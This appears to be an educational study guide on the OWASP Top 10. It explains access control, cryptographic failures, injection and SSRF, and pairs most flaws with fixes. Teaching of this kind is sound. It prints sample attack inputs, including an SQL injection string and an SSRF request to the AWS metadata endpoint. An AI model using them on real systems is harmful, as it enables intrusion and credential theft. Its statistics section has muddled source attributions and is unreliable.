What is the OWASP Top 10? Definition & Web Vulnerabilities Explained (2026)

PerfectNotes Team•Updated May 2026

Share

This is a PerfectNotes study guide — also known as PN Notes or Perfect Notes. PerfectNotes provides free computer science student notes, MCQs, and interview preparation guides at perfectnotes.org.

Download PDF

What is the OWASP Top 10?

Every day, thousands of websites are hacked, resulting in stolen credit cards, leaked passwords, and destroyed businesses. To fight back against cybercriminals, the global cybersecurity community relies on the OWASP Top 10: a definitive, constantly updated list of the most dangerous flaws in web software and exactly how to fix them.

The "Bank Vault and the Window" Analogy

Imagine a bank manager who spends millions of dollars buying the heaviest, most secure steel vault in the world to protect their money. However, they forget to put a lock on the drive-thru window, and they leave the vault's combination written on a sticky note attached to the manager's desk.

This is exactly how most websites are hacked. Companies spend a fortune on expensive network firewalls, but the software developers accidentally leave a "digital window" open in the website's code. The OWASP Top 10 is simply a checklist that reminds developers to lock the windows, hide the sticky notes, and secure the back doors.

Why Every Developer Must Understand This

In the modern internet, hackers do not sit at a keyboard manually targeting your specific website. They use automated botnets that scan millions of websites every hour, blindly searching for the flaws listed in the OWASP Top 10. If you build a tiny personal blog and accidentally include an OWASP vulnerability, an automated bot will find it and hack your site within minutes — regardless of how small or unknown your business is.

The Top 3 Most Critical Vulnerabilities

While the complete OWASP list contains ten categories, understanding the top three vulnerabilities is absolutely critical — they account for the vast majority of all global data breaches.

#1: Broken Access Control — The Digital Master Key

Broken Access Control is the most common and dangerous flaw on the internet. It occurs when a website fails to strictly verify if a user has permission to view a specific page or perform an action.

For example, imagine you log into your bank and the URL looks like: bank.com/account?id=105. If you simply change it to id=106 and the website shows you a complete stranger's bank records, you have exploited Broken Access Control. The website verified who you were, but completely forgot to verify if you were authorized to view account #106.

# Victim's legitimate URL
GET /account?id=105

# Attacker simply changes the number
GET /account?id=106   ← Returns another user's private bank data
GET /admin/dashboard  ← Accesses admin panel with standard user token

#2: Cryptographic Failures — Exposing Sensitive Data

Cryptographic Failures occur when developers fail to properly protect sensitive information — passwords, credit card numbers, or medical records — either in transit or at rest.

If a database is stolen by a hacker, the data should be scrambled into unreadable gibberish using strong encryption. A cryptographic failure happens when a developer stores passwords in plain text, uses outdated easily broken algorithms (like MD5), or fails to enforce HTTPS — allowing hackers to intercept credentials out of thin air across public Wi-Fi.

#3: Injection — Tricking the Database

Injection attacks happen when untrusted data sent by a user tricks the database into executing unintended commands. The most famous example is SQL Injection (SQLi).

Instead of typing "John" into a username field, a hacker types: ' OR 1=1 --. Because the login code is poorly constructed, the database reads the hacker's input as an official command and automatically logs them into the administrator account without ever asking for a valid password.

// ❌ VULNERABLE — String concatenation (DO NOT USE)
query = "SELECT * FROM users WHERE username = '" + userInput + "'";
// Hacker input: ' OR 1=1 --
// Executed as: SELECT * FROM users WHERE username = '' OR 1=1 --'
// 1=1 is always TRUE → bypasses login entirely!

// ✅ SECURE — Parameterized Query (Prepared Statement)
query = "SELECT * FROM users WHERE username = ?";
stmt.setString(1, userInput);  // Input treated as DATA, never as SQL

The Remaining 7 OWASP Vulnerabilities

The remaining categories address deep structural issues in how software is built, maintained, and monitored:

• ● A04 – Insecure Design: Failing to plan for security before writing code. Example: password reset flow with no rate limiting — attacker brute-forces 6-digit OTP codes.
• ● A05 – Security Misconfiguration: Leaving default passwords (admin/admin) on cloud servers, debug mode enabled in production leaking stack traces.
• ● A06 – Vulnerable & Outdated Components: Using libraries with known, unpatched CVEs — Log4Shell exploited a 9-year-old Java library across millions of servers worldwide.
• ● A07 – Authentication Failures: Allowing weak passwords, session tokens that never expire, or missing Multi-Factor Authentication on admin panels.
• ● A08 – Software & Data Integrity Failures (Deserialization): Blindly deserializing user-supplied objects, enabling Remote Code Execution via gadget chains.
• ● A09 – Security Logging & Monitoring Failures: Having no audit logs — the Equifax breach went completely undetected for 76 days because log monitoring had failed.
• ● A10 – Server-Side Request Forgery (SSRF): Tricking a server into fetching data from internal, protected cloud metadata endpoints — returning full AWS IAM credentials.

Advanced Engineering Concepts

Mitigating OWASP vulnerabilities at enterprise scale requires shifting security "left" in the CI/CD pipeline — implementing cryptographic KDFs, exploiting AST analysis to defeat SQLi, and deploying zero-trust segmentation to neutralize SSRF and Deserialization.

Defeating Injection: Parameterized Queries and ASTs

Legacy web applications suffer from SQL Injection because they use dynamic string concatenation to build queries — allowing user input to alter the Abstract Syntax Tree (AST) of the SQL parser. To mathematically eliminate SQLi, engineers must mandate Parameterized Queries (Prepared Statements).

When using a prepared statement, the database engine pre-compiles the SQL query structure before user input is inserted. The input is strictly treated as a literal value — not executable syntax — making it mathematically impossible for any injected payload to alter the execution logic. This works for first-order and second-order SQL injection alike.

Cryptographic Hashing — Key Derivation Functions (KDF)

To prevent A02 (Cryptographic Failures) in password storage, developers must never use fast cryptographic hashes like MD5, SHA-1, or SHA-256. These are designed for speed — modern GPU clusters compute billions of SHA-256 hashes per second, making brute-force and rainbow table attacks trivial against stolen databases.

Engineers must use computationally expensive Key Derivation Functions (KDF) like Argon2id, bcrypt, or PBKDF2. These include a unique random salt per user and a configurable work factor that intentionally slows computation:

// ❌ WRONG: Plain text or fast hash
db.store(username, password);               // Plain text — cracked instantly
db.store(username, md5(password));          // MD5 — billions per second on GPU

// ✅ CORRECT: Argon2id with random salt
const hash = await argon2.hash(password, {
  type: argon2.argon2id,
  memoryCost: 65536,   // 64 MB RAM — GPU-hard
  timeCost: 3,         // 3 iterations
  parallelism: 4,
});
db.store(username, hash);  // Centuries to crack per hash

Server-Side Request Forgery (SSRF) and AWS Cloud Metadata

SSRF (A10) has become critical due to the dominance of cloud computing (AWS, Azure, GCP). An attacker manipulates an application that fetches remote URLs — such as a profile picture downloader — and forces it to fetch from the internal, protected network instead.

In AWS, virtual machines have a sensitive internal metadata endpoint at the non-routable link-local address 169.254.169.254. A successful SSRF against an EC2 instance returns temporary IAM credentials — granting full cloud account access:

# Attacker sends malicious URL to image fetcher
GET /fetch-image?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Server fetches internal endpoint — returns to attacker:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "wJalrXUtnF...",
  "Token": "AQoDYXdz...",   ← Full AWS account access!
  "Expiration": "2026-..."
}

To mitigate SSRF: implement strict Allow-lists for all outbound URL fetching (deny private IP ranges: 10.x, 172.16.x, 169.254.x), disable HTTP redirections, and enforce IMDSv2 in all AWS deployments — which requires a cryptographic session token for every metadata request, breaking the SSRF exploitation chain.

Insecure Deserialization and Remote Code Execution (RCE)

When objects are transferred across a network, they are often serialized into a byte stream. Insecure Deserialization occurs when an application blindly unpacks a user-supplied serialized object without cryptographic verification.

An attacker intercepts the serialized object, manipulates the byte stream to alter internal variables, and when the server deserializes the tampered payload, it triggers "magic methods" — like readObject() in Java or __reduce__() in Python — resulting in Remote Code Execution (RCE): the attacker gains full terminal control of the server. Mitigation: enforce JSON-only or XML data formats (no native serialization) and implement HMAC digital signatures to verify that the serialized state has not been tampered with.

Real-World Case Study: Log4Shell (CVE-2021-44228)

Log4Shell is the most severe vulnerability in internet history — a zero-day Remote Code Execution flaw hidden inside Apache Log4j, a Java logging library embedded in millions of applications from enterprise software to Minecraft. Rated CVSS 10.0(maximum severity), its discovery on December 9, 2021 triggered a global emergency patch response that directly illustrates OWASP A06 (Vulnerable & Outdated Components) at catastrophic scale.

Key Statistics & Industry Data (2026)

• 73% of web applications are vulnerable to SQL Injection (CWE/SANS 2025). (Source: OWASP Top 25, 2025)
• $4.88 million is the average cost per data breach in 2025. (Source: IBM Cost of a Data Breach Report, 2025)
• 85% of breaches exploited OWASP Top 10 vulnerabilities. (Source: Verizon DBIR, 2025)
• 47% of enterprises have no Web Application Firewall (WAF) deployed. (Source: Gartner Application Security Survey, 2025)
• XSS (A03/A07) accounts for 40% of web vulnerabilities. (Source: CWE/SANS Top 25, 2025)

Quick Reference: OWASP Top 10 (2021) Cheat Sheet

Bookmark this table — the complete checklist for web application security assessments.

Frequently Asked Questions (FAQ)